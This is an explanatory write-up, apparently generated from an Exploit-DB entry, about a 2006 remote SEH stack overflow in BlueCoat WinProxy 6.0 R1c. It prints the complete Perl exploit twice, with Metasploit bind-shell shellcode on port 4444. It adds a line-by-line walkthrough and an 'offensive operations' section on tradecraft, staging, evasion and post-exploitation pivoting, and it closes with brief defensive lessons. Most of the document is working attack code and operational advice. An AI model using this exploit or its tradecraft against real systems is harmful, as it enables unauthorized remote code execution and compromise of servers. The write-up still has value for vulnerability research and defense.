Explaining the BlueCoat WinProxy 6.0 R1c 'Host' Remote Stack Overflow Exploit

Explaining the BlueCoat WinProxy 6.0 R1c 'Host' Remote Stack Overflow Exploit
What this paper is
This paper details a security vulnerability in BlueCoat WinProxy version 6.0 R1c. Specifically, it describes a remote stack overflow vulnerability that can be triggered by sending a specially crafted HTTP request. The vulnerability allows an attacker to overwrite the Structured Exception Handling (SEH) chain, leading to the execution of arbitrary code on the vulnerable server. The exploit provided is written in Perl and aims to establish a bind shell on the target system.
Simple technical breakdown
The core of the vulnerability lies in how the WinProxy service handles the Host header in HTTP requests. When the Host header is too long, it can overflow a buffer on the stack. This overflow can overwrite critical control flow data, including the SEH handler.
The exploit works by:
- Crafting a malicious HTTP request: This request includes a long
Hostheader. - Overwriting the stack: The excessive length of the
Hostheader causes a buffer overflow, overwriting the return address and the SEH handler on the stack. - Redirecting execution: The exploit carefully places a pointer to a malicious SEH handler. This handler, when triggered by an exception, will redirect execution to the attacker's shellcode.
- Executing shellcode: The shellcode is designed to open a listening port (a "bind shell") on the target machine, allowing the attacker to connect back and execute commands.
Complete code and payload walkthrough
The provided Perl script orchestrates the attack. Let's break down its components:
#!perl
#
# "WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit
#
# Author: FistFucker (aka FistFuXXer)
# e-Mail: FistFuXXer@gmx.de
#
#
# Advisory:
# http://www.idefense.com/intelligence/vulnerabilities/display.php?id=364
#
# CVE info:
# CAN-2005-4085
#
use IO::Socket;
#
# destination IP address
#
$ip = '127.0.0.1';
#
# destination TCP port
#
$port = 80;
#
# SE handler. 0x00, 0x0a, 0x0d free
#
$seh = reverse( "\x01\x03\x12\x40" ); # POP/POP/RET
# PAVDLL.01031240
#
# JMP SHORT to shellcode. 0x00, 0x0a, 0x0d free
#
$jmp = "\x90\x90\xeb\x32"; # [NOP][NOP][JMP|JMP]
#
# 0x00, 0x0a, 0x0d free shellcode
#
# win32_bind - EXITFUNC=process LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
#
$sc = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26".
"\x8c\x6d\xa3\x83\xeb\xfc\xe2\xf4\xda\xe6\x86\xee\xce\x75\x92\x5c".
"\xd9\xec\xe6\xcf\x02\xa8\xe6\xe6\x1a\x07\x11\xa6\x5e\x8d\x82\x28".
"\x69\x94\xe6\xfc\x06\x8d\x86\xea\xad\xb8\xe6\xa2\xc8\xbd\xad\x3a".
"\x8a\x08\xad\xd7\x21\x4d\xa7\xae\x27\x4e\x86\x57\x1d\xd8\x49\x8b".
"\x53\x69\xe6\xfc\x02\x8d\x86\xc5\xad\x80\x26\x28\x79\x90\x6c\x48".
"\x25\xa0\xe6\x2a\x4a\xa8\x71\xc2\xe5\xbd\xb6\xc7\xad\xcf\x5d\x28".
"\x66\x80\xe6\xd3\x3a\x21\xe6\xe3\x2e\xd2\x05\x2d\x68\x82\x81\xf3".
"\xd9\x5a\x0b\xf0\x40\xe4\x5e\x91\x4e\xfb\x1e\x91\x79\xd8\x92\x73".
"\x4e\x47\x80\x5f\x1d\xdc\x92\x75\x79\x05\x88\xc5\xa7\x61\x65\xa1".
"\x73\xe6\x6f\x5c\xf6\xe4\xb4\xaa\xd3\x21\x3a\x5c\xf0\xdf\x3e\xf0".
"\x75\xdf\x2e\xf0\x65\xdf\x92\x73\x40\xe4\x7c\xff\x40\xdf\xe4\x42".
"\xb3\xe4\xc9\xb9\x56\x4b\x3a\x5c\xf0\xe6\x7d\xf2\x73\x73\xbd\xcb".
"\x82\x21\x43\x4a\x71\x73\xbb\xf0\x73\x73\xbd\xcb\xc3\xc5\xeb\xea".
"\x71\x73\xbb\xf3\x72\xd8\x38\x5c\xf6\x1f\x05\x44\x5f\x4a\x14\xf4".
"\xd9\x5a\x38\x5c\xf6\xea\x07\xc7\x40\xe4\x0e\xce\xaf\x69\x07\xf3".
"\x7f\xa5\xa1\x2a\xc1\xe6\x29\x2a\xc4\xbd\xad\x50\x8c\x72\x2f\x8e".
"\xd8\xce\x41\x30\xab\xf6\x55\x08\x8d\x27\x05\xd1\xd8\x3f\x7b\x5c".
"\x53\xc8\x92\x75\x7d\xdb\x3f\xf2\x77\xdd\x07\xa2\x77\xdd\x38\xf2".
"\xd9\x5c\x05\x0e\xff\x89\xa3\xf0\xd9\x5a\x07\x5c\xd9\xbb\x92\x73".
"\xad\xdb\x91\x20\xe2\xe8\x92\x75\x74\x73\xbd\xcb\x58\x54\x8f\xd0".
"\x75\x73\xbb\x5c\xf6\x8c\x6d\xa3";
print '"WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit'."\n\n";
$sock = IO::Socket::INET->new
(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
Timeout => 2
) or print '[-] Error: Could not establish a connection to the server!' and exit(1);
print "[+] Connected.\n";
print "[+] Trying to overwrite SE handler...\n";
$sock->send( "GET / HTTP/1.0\r\n" );
$sock->send( 'Host: 127.0.0.1:'. "\x90" x 23 . $jmp . $seh . "\x90" x 50 . $sc ."\r\n\r\n" );
print "[+] Done. Now check for bind shell on $ip:4444!";
close($sock);
# milw0rm.com [2006-01-07]| Code Fragment/Block | Practical Purpose |
|---|---|
#!perl |
Shebang line, indicating the script should be executed with Perl. |
# Comments |
Explanations about the script's purpose, author, advisory, and CVE. |
use IO::Socket; |
Imports the IO::Socket module, which is essential for network communication (creating sockets). |
$ip = '127.0.0.1'; |
Defines the target IP address. In this case, it's set to localhost for testing, but would be the target server's IP in a real attack. |
$port = 80; |
Defines the target TCP port. HTTP typically runs on port 80. |
$seh = reverse( "\x01\x03\x12\x40" ); |
This defines the SEH handler. "\x01\x03\x12\x40" is a memory address (likely 0x40120301 in little-endian format). The reverse function reverses the byte order because Windows uses little-endian representation for addresses. This address points to a POP/POP/RET instruction sequence within PAVDLL.dll (a common DLL in Windows systems). This sequence is used to pop two values off the stack (effectively skipping over saved exception handlers) and then execute the next instruction, which will be our shellcode. |
$jmp = "\x90\x90\xeb\x32"; |
This defines a small jump sequence. \x90 is the NOP (No Operation) instruction. \xeb\x32 is a short jump instruction (eb) followed by an offset of 32 bytes (32). This sequence is placed before the shellcode to provide a small buffer of NOPs and a jump that helps ensure execution lands correctly on the shellcode, especially if the exact offset is slightly off. |
$sc = "..." (long string of hex bytes) |
This is the actual shellcode. It's a sequence of machine code instructions. The comment indicates it's a win32_bind shellcode from Metasploit, configured to listen on port 4444 (LPORT=4444) and exit the process (EXITFUNC=process). This shellcode, when executed, will bind a shell to port 4444 on the target machine, allowing the attacker to connect to it. |
print '"WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit'."\n\n"; |
Prints a header message to the console. |
$sock = IO::Socket::INET->new(...) or ... |
This block attempts to create a TCP socket and connect to the specified IP address and port. |
PeerAddr => $ip, |
Specifies the remote IP address to connect to. |
PeerPort => $port, |
Specifies the remote port to connect to. |
Proto => 'tcp', |
Specifies the protocol as TCP. |
Timeout => 2 |
Sets a timeout of 2 seconds for the connection attempt. |
or print '[-] Error: Could not establish a connection to the server!' and exit(1); |
If the connection fails, an error message is printed, and the script exits. |
print "[+] Connected.\n"; |
Informs the user that the connection was successful. |
print "[+] Trying to overwrite SE handler...\n"; |
Informs the user about the next step. |
$sock->send( "GET / HTTP/1.0\r\n" ); |
Sends the first part of the HTTP request, a standard GET request for the root path. |
$sock->send( 'Host: 127.0.0.1:'. "\x90" x 23 . $jmp . $seh . "\x90" x 50 . $sc ."\r\n\r\n" ); |
This is the crucial line that sends the malicious Host header. |
'Host: 127.0.0.1:' |
The start of the Host header. |
"\x90" x 23 |
23 NOP instructions. These are padding bytes to fill space and ensure the subsequent payload lands correctly. |
$jmp |
The jump sequence (\x90\x90\xeb\x32). This is placed to help redirect execution. |
$seh |
The SEH handler address (\x01\x03\x12\x40 reversed). This is the address that will be written into the SEH chain. When an exception occurs, the program will jump to this address. |
"\x90" x 50 |
Another 50 NOP instructions. This acts as a buffer between the SEH handler and the shellcode. If the SEH handler jumps to the start of this buffer, the NOPs will execute until they hit the shellcode. |
$sc |
The actual shellcode payload. |
"\r\n\r\n" |
The end of the HTTP headers. |
print "[+] Done. Now check for bind shell on $ip:4444!"; |
Informs the user that the exploit has been sent and where to look for the bind shell. |
close($sock); |
Closes the network connection. |
Shellcode Breakdown:
The shellcode ($sc) is a complex sequence of bytes that represents machine code instructions. Based on the comment, it's a Metasploit win32_bind shellcode. Without disassembling it byte-by-byte here (which is beyond the scope of a simple explanation and requires specific tools), we can infer its general purpose:
- Initialization: Sets up registers and prepares the environment.
- Socket Creation: Creates a TCP socket.
- Binding: Binds the socket to a specific local address and port (4444 in this case).
- Listening: Puts the socket into listening mode.
- Accepting Connection: Waits for an incoming connection.
- Duplicating Handles: Duplicates standard input, output, and error handles to the new socket.
- Execution: Spawns a command shell (
cmd.exe) which then inherits these duplicated handles, allowing commands to be sent and received over the socket. - Exit Function: The
EXITFUNC=processmeans that when the shellcode finishes or the connection is closed, the entire process running the shellcode will terminate.
Practical details for offensive operations teams
- Required Access Level: Network access to the target machine's HTTP port (typically 80 or 443). No local access or elevated privileges are required for the initial exploit delivery.
- Lab Preconditions:
- A vulnerable WinProxy 6.0 R1c instance running on a Windows operating system.
- Network connectivity from the attacker's machine to the target's HTTP port.
- A Perl interpreter installed on the attacker's machine.
- A tool to listen for the incoming bind shell connection (e.g.,
netcatorncat).
- Tooling Assumptions:
- Perl interpreter.
IO::Socketmodule (standard with Perl).netcator similar for receiving the bind shell.
- Execution Pitfalls:
- Target Version: The exploit is highly specific to WinProxy 6.0 R1c. Different versions or patched versions will not be vulnerable.
- Network Firewalls/IPS: Network Intrusion Prevention Systems (IPS) or firewalls might detect the malformed HTTP request or the unusual traffic patterns.
- SEH Handler Address Stability: The exploit relies on a specific SEH handler address (
PAVDLL.01031240). If the target system has different DLL versions, ASLR (Address Space Layout Randomization - though less common for this era of exploits), or the DLL is not loaded at the expected base address, the$sehaddress might be incorrect, causing the exploit to fail or crash the service without achieving code execution. - Shellcode Size and Alignment: The NOP sleds (
\x90x 23 and\x90x 50) and the jump instruction are crucial for landing the execution flow on the shellcode. If these are miscalculated or the shellcode itself is modified, it can lead to a crash. - Port Conflicts: If port 4444 is already in use on the target, the bind shell will fail to establish.
- Service Restart: The vulnerability likely crashes the WinProxy service. The service might automatically restart, or it might require manual intervention, impacting availability.
- Tradecraft Considerations:
- Reconnaissance: Confirming the exact version of WinProxy is paramount.
- Staging: For more sophisticated operations, the initial shellcode could be a stager that downloads a larger payload from an attacker-controlled server.
- Evasion: Obfuscating the Perl script or the shellcode could be considered, though for this era, the primary evasion would be targeting unpatched systems.
- Post-Exploitation: Once a bind shell is established, the operator can use it to explore the system, escalate privileges, or pivot to other systems.
Where this was used and when
- Context: This exploit targets BlueCoat WinProxy, a proxy server used for web filtering and security. Exploits targeting such infrastructure are valuable for gaining network access or disrupting web traffic.
- Approximate Years/Dates: The exploit was published on January 7, 2006. The vulnerability (CAN-2005-4085) was likely discovered and exploited in late 2005. Exploits from this period were often used in targeted attacks or by security researchers to demonstrate vulnerabilities. It's plausible this exploit was used in the wild by threat actors or for penetration testing engagements around that time.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of timely patching. This vulnerability was fixed by BlueCoat. Keeping software up-to-date is the primary defense against known exploits.
- Input Validation: Developers must rigorously validate all user-supplied input, especially data that is placed into buffers. This includes checking lengths and sanitizing content.
- Secure Coding Practices: Employing secure coding guidelines, such as avoiding buffer overflows, using safe string manipulation functions, and understanding memory management, is crucial.
- Vulnerability Scanning: Regularly scan networks and systems for known vulnerabilities using up-to-date vulnerability databases.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS can detect anomalous HTTP requests that might indicate an exploit attempt, even if the specific signature isn't known, by looking for malformed headers or unusual patterns.
- Memory Protection Techniques: Modern operating systems employ defenses like ASLR and DEP (Data Execution Prevention) which make exploiting stack overflows and SEH overwrites significantly harder, though not impossible.
ASCII visual (if applicable)
This exploit involves a network interaction and memory manipulation. A simplified flow can be visualized:
+-----------------+ +-----------------+ +-----------------+
| Attacker's | ----> | WinProxy Service| ----> | Stack Memory |
| Perl Script | | (Vulnerable) | | |
+-----------------+ +-----------------+ +-----------------+
| |
| Sends Malicious | Overwrites
| HTTP Request | SEH Handler
| (Long Host Header) | with attacker's
| | address
v v
+-----------------+ +-----------------+ +-----------------+
| Network | | Exception | | Attacker's |
| Connection | <---- | Handler Trigger | <---- | Shellcode |
| Established | | (e.g., crash) | | (Bind Shell) |
| (Bind Shell) | +-----------------+ +-----------------+
+-----------------+Source references
- Paper ID: 1408
- Paper Title: BlueCoat WinProxy 6.0 R1c - 'Host' Remote Stack Overflow (SEH)
- Author: FistFuXXer
- Published: 2006-01-07
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/1408
- Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=364
- CVE Info: CAN-2005-4085
Original Exploit-DB Content (Verbatim)
#!perl
#
# "WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit
#
# Author: FistFucker (aka FistFuXXer)
# e-Mail: FistFuXXer@gmx.de
#
#
# Advisory:
# http://www.idefense.com/intelligence/vulnerabilities/display.php?id=364
#
# CVE info:
# CAN-2005-4085
#
use IO::Socket;
#
# destination IP address
#
$ip = '127.0.0.1';
#
# destination TCP port
#
$port = 80;
#
# SE handler. 0x00, 0x0a, 0x0d free
#
$seh = reverse( "\x01\x03\x12\x40" ); # POP/POP/RET
# PAVDLL.01031240
#
# JMP SHORT to shellcode. 0x00, 0x0a, 0x0d free
#
$jmp = "\x90\x90\xeb\x32"; # [NOP][NOP][JMP|JMP]
#
# 0x00, 0x0a, 0x0d free shellcode
#
# win32_bind - EXITFUNC=process LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
#
$sc = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26".
"\x8c\x6d\xa3\x83\xeb\xfc\xe2\xf4\xda\xe6\x86\xee\xce\x75\x92\x5c".
"\xd9\xec\xe6\xcf\x02\xa8\xe6\xe6\x1a\x07\x11\xa6\x5e\x8d\x82\x28".
"\x69\x94\xe6\xfc\x06\x8d\x86\xea\xad\xb8\xe6\xa2\xc8\xbd\xad\x3a".
"\x8a\x08\xad\xd7\x21\x4d\xa7\xae\x27\x4e\x86\x57\x1d\xd8\x49\x8b".
"\x53\x69\xe6\xfc\x02\x8d\x86\xc5\xad\x80\x26\x28\x79\x90\x6c\x48".
"\x25\xa0\xe6\x2a\x4a\xa8\x71\xc2\xe5\xbd\xb6\xc7\xad\xcf\x5d\x28".
"\x66\x80\xe6\xd3\x3a\x21\xe6\xe3\x2e\xd2\x05\x2d\x68\x82\x81\xf3".
"\xd9\x5a\x0b\xf0\x40\xe4\x5e\x91\x4e\xfb\x1e\x91\x79\xd8\x92\x73".
"\x4e\x47\x80\x5f\x1d\xdc\x92\x75\x79\x05\x88\xc5\xa7\x61\x65\xa1".
"\x73\xe6\x6f\x5c\xf6\xe4\xb4\xaa\xd3\x21\x3a\x5c\xf0\xdf\x3e\xf0".
"\x75\xdf\x2e\xf0\x65\xdf\x92\x73\x40\xe4\x7c\xff\x40\xdf\xe4\x42".
"\xb3\xe4\xc9\xb9\x56\x4b\x3a\x5c\xf0\xe6\x7d\xf2\x73\x73\xbd\xcb".
"\x82\x21\x43\x4a\x71\x73\xbb\xf0\x73\x73\xbd\xcb\xc3\xc5\xeb\xea".
"\x71\x73\xbb\xf3\x72\xd8\x38\x5c\xf6\x1f\x05\x44\x5f\x4a\x14\xf4".
"\xd9\x5a\x38\x5c\xf6\xea\x07\xc7\x40\xe4\x0e\xce\xaf\x69\x07\xf3".
"\x7f\xa5\xa1\x2a\xc1\xe6\x29\x2a\xc4\xbd\xad\x50\x8c\x72\x2f\x8e".
"\xd8\xce\x41\x30\xab\xf6\x55\x08\x8d\x27\x05\xd1\xd8\x3f\x7b\x5c".
"\x53\xc8\x92\x75\x7d\xdb\x3f\xf2\x77\xdd\x07\xa2\x77\xdd\x38\xf2".
"\xd9\x5c\x05\x0e\xff\x89\xa3\xf0\xd9\x5a\x07\x5c\xd9\xbb\x92\x73".
"\xad\xdb\x91\x20\xe2\xe8\x92\x75\x74\x73\xbd\xcb\x58\x54\x8f\xd0".
"\x75\x73\xbb\x5c\xf6\x8c\x6d\xa3";
print '"WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit'."\n\n";
$sock = IO::Socket::INET->new
(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
Timeout => 2
) or print '[-] Error: Could not establish a connection to the server!' and exit(1);
print "[+] Connected.\n";
print "[+] Trying to overwrite SE handler...\n";
$sock->send( "GET / HTTP/1.0\r\n" );
$sock->send( 'Host: 127.0.0.1:'. "\x90" x 23 . $jmp . $seh . "\x90" x 50 . $sc ."\r\n\r\n" );
print "[+] Done. Now check for bind shell on $ip:4444!";
close($sock);
# milw0rm.com [2006-01-07]